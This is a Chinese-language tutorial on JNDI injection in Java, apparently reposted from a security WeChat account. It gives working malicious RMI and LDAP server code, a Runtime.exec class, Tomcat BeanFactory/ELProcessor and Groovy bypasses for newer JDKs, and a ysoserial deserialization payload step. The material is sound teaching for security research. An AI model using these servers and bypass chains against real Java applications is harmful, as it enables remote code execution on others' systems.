详解JNDI注入攻击原理和利用方式

admin 2025年6月24日23:52:15评论2 views字数 13951阅读46分30秒阅读模式

JNDI

简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

详解JNDI注入攻击原理和利用方式
详解JNDI注入攻击原理和利用方式

上面提到了命名服务与目录服务,它们又是什么呢?

命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务。

目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,这么说可能不太好理解,我们举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务。

JNDI

注入复现

代码中定义了URL变量,URL 变量攻击者可控,并定义了一个 LDAP 协议服务, 使用 lookup() 函数进行远程获取并执行恶意的 Exploit 类。

import javax.naming.InitialContext;import javax.naming.NamingException;publicclassjndi{    publicstaticvoidmain(String[] args)throws NamingException {        String url = "rmi://127.0.0.1:1099/Exploit";          InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用        initialContext.lookup(url); // 获取指定的远程对象    }}

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议

JDK6

JDK7

JDK8

JDK11

LADP

6u211以下

7u201以下

8u191以下

11.0.1以下

RMI

6u132以下

7u122以下

8u113以下

2.1

JNDI+RMI

通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

className - 远程加载时所使用的类名

classFactory - 加载的class中需要实例化类的名称

classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

服务端代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;publicclassRMIServer{    publicstaticvoidmain(String[] args)throws Exception{        Registry registry= LocateRegistry.createRegistry(7777);        Reference reference = new Reference("test""test""http://localhost/");        ReferenceWrapper wrapper = new ReferenceWrapper(reference);        registry.bind("calc", wrapper);    }}

恶意代码(test.class),将其编译好放到可访问的web服务器。

import java.lang.Runtime;publicclasstest{publictest()throws Exception{        Runtime.getRuntime().exec("calc");    }}

当客户端通过InitialContext().lookup("rmi:// 127.0.0.1:7777/calc") 获取远程对象时,会执行我们的恶意代码。

package demo;import javax.naming.InitialContext;publicclassJNDI_Test{    publicstaticvoidmain(String[] args)throws Exception{        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");    }}
详解JNDI注入攻击原理和利用方式
详解JNDI注入攻击原理和利用方式

对于这种利用方式Java在其JDK 6u132、7u122、8u113中进行了限制,

com.sun.jndi.rmi.object.trustURLCodebase默认值变为falsestatic {    PrivilegedAction var0 = () -> {        return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase""false");    };    String var1 = (String)AccessController.doPrivileged(var0);    trustURLCodebase = "true".equalsIgnoreCase(var1);}

如果从远程加载则会抛出异常

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {    thrownew ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");}

2.2

JNDI+LDAP

JNDI也可以通过LDAP协议加载远程的Reference工厂类。

起一个LDAP服务,代码改自marshalsec

package demo;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;publicclassLDAPRefServer{    privatestaticfinal String LDAP_BASE = "dc=example,dc=com";    publicstaticvoidmain( String[] tmp_args ){        String[] args=new String[]{"http://192.168.43.88/#test"};        int port = 7777;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen"//$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    privatestaticclassOperationInterceptorextendsInMemoryOperationInterceptor{        private URL codebase;        publicOperationInterceptor( URL cb ){            this.codebase = cb;        }        @Override        publicvoidprocessSearchResult( InMemoryInterceptedSearchResult result ){            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protectedvoidsendResult( InMemoryInterceptedSearchResult result, String base, Entry e )throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.''/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName""foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass""javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory"this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

服务端需要添加如下依赖:

<dependency>    <groupId>com.unboundid</groupId>    <artifactId>unboundid-ldapsdk</artifactId>    <version>3.1.1</version></dependency>

客户端

package demo;import javax.naming.InitialContext;publicclassJNDI_Test{    publicstaticvoidmain(String[] args)throws Exception{        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");    }}

2.3

DNS协议

DNS主要是为了快速测试是否存在漏洞点。

import javax.naming.InitialContext;import javax.naming.NamingException;publicclassClient{    publicstaticvoidmain(String[] args)throws NamingException{        String url = "dns://test.bmg6g1.dnslog.cn";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}
详解JNDI注入攻击原理和利用方式
详解JNDI注入攻击原理和利用方式

JDK高版本

限制绕过

3.1

RMI高版本绕过

在JDK 6u132, JDK 7u122, JDK 8u121版本开始com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。所以原本的远程加载恶意类的方式已经失效,不过并没有限制从本地进行加载类文件,比如org.apache.naming.factory.BeanFactory。

3.1.1 利用tomcat8的类

利用类为org.apache.naming.factory. BeanFactory,针对 RMI 利用的检查方式中最关键的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase)。

如果 FactoryClassLocation 为空,那么就会进入 NamingManager.getObjectInstance,在此方法会调用 Reference 中的ObjectFactory。

因此绕过思路为在目标 classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat 中有一处可以利用的符合条件的类org.apache.naming.factory. BeanFactory,在此类中会获取 Reference 中的forceString 得到其中的值之后会判断是否包含等号,如果包含则用等号分割,将前一半当做方法名,后一半当做 Hashmap 中的 key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为 String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数,并且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合适。

pom.xml添加相关依赖

<dependency>        <groupId>org.apache.tomcat</groupId>        <artifactId>tomcat-catalina</artifactId>        <version>8.5.0</version>    </dependency>    <dependency>        <groupId>org.apache.tomcat.embed</groupId>        <artifactId>tomcat-embed-el</artifactId>        <version>8.5.15</version>    </dependency>

启动服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import org.apache.naming.ResourceRef;publicclassHdjkserver{    publicstaticvoidmain(String[] args)throws Exception {        Registry registry = LocateRegistry.createRegistry(1099);        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null""""true"org.apache.naming.factory.BeanFactory", (String)null);        resourceRef.add(new StringRefAddr("forceString""a=eval"));        resourceRef.add(new StringRefAddr("a""Runtime.getRuntime().exec("open -a calculator")"));        ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);        registry.bind("exp", refObjWrapper);        System.out.println("Creating evil RMI registry on port 1099");    }}

client端代码:

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;publicclassClient {    publicstaticvoidmain(String[] args) throws NamingException {            String uri = "rmi://127.0.0.1:1099/exp";            Context ctx = new InitialContext();            ctx.lookup(uri);    }}

3.1.2 依赖groovy任意版本的类

以版本1.5为例,添加pom.xml相关依赖。

   <dependency>            <groupId>org.codehaus.groovy</groupId>            <artifactId>groovy-all</artifactId>            <version>1.5.0</version>        </dependency>

服务端代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;publicclassExecByGroovy{    publicstaticvoidmain(String[] args)throws NamingException, RemoteException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell"null""""true,"org.apache.naming.factory.BeanFactory",null);        ref.add(new StringRefAddr("forceString""x=evaluate"));        String script = String.format("'%s'.execute()""open -a calculator"); //commandGenerator.getBase64CommandTpl());        ref.add(new StringRefAddr("x",script));        ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);        registry.bind("exp", refObjWrapper);        System.out.println("Creating evil RMI registry on port 1099");    }}

3.2

LDAP高版本绕过

3.2.1 Base64字节码加载

JDK 6u211,7u201,8u191, 11.0.1开始 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。

这里可以利用javaSerializedData属性,当javaSerializedData属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。

如果目标存在CC链利用链,先使用ysoserial.jar生成CC链的poc

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator.app" > poc.txtcat poc.txt|base64 >base64.txt

转换为base64编码后放到如下服务端代码里,代码的String[]字符串里面ip不影响payload执行。

import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.URL;import java.util.HashMap;import java.util.Map;publicclassLDAPServer{    privatestaticfinal String LDAP_BASE = "dc=example,dc=com";    publicstaticvoidmain( String[] tmp_args )throws Exception{        String[] args=new String[]{"http://localhost/#Evail"};         int port = 6666;        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);        config.setListenerConfigs(new InMemoryListenerConfig(                "listen"//$NON-NLS-1$                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                port,                ServerSocketFactory.getDefault(),                SocketFactory.getDefault(),                (SSLSocketFactory) SSLSocketFactory.getDefault()));        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$        ds.startListening();    }    privatestaticclassOperationInterceptorextendsInMemoryOperationInterceptor{        private URL codebase;        publicOperationInterceptor( URL cb ){            this.codebase = cb;        }        @Override        publicvoidprocessSearchResult( InMemoryInterceptedSearchResult result ){            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protectedvoidsendResult( InMemoryInterceptedSearchResult result, String base, Entry e )throws Exception {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.''/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName""foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaSerializedData", Base64.decode("base64编码的payload"));            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

客户端代码

import javax.naming.InitialContext;import javax.naming.Context;import javax.naming.NamingException;publicclassJNDI_Test{    publicstaticvoidmain(String[] args)throws NamingException {        String uri = "ldap://127.0.0.1:6666/exp";        Context ctx = new InitialContext();        ctx.lookup(uri);    }}
参考链接:
1. https://xz.aliyun.com/t/12277
2. https://xz.aliyun.com/t/10035

原文始发于微信公众号(SAINTSEC):详解JNDI注入攻击原理和利用方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月24日23:52:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详解JNDI注入攻击原理和利用方式https://cn-sec.com/archives/4195608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息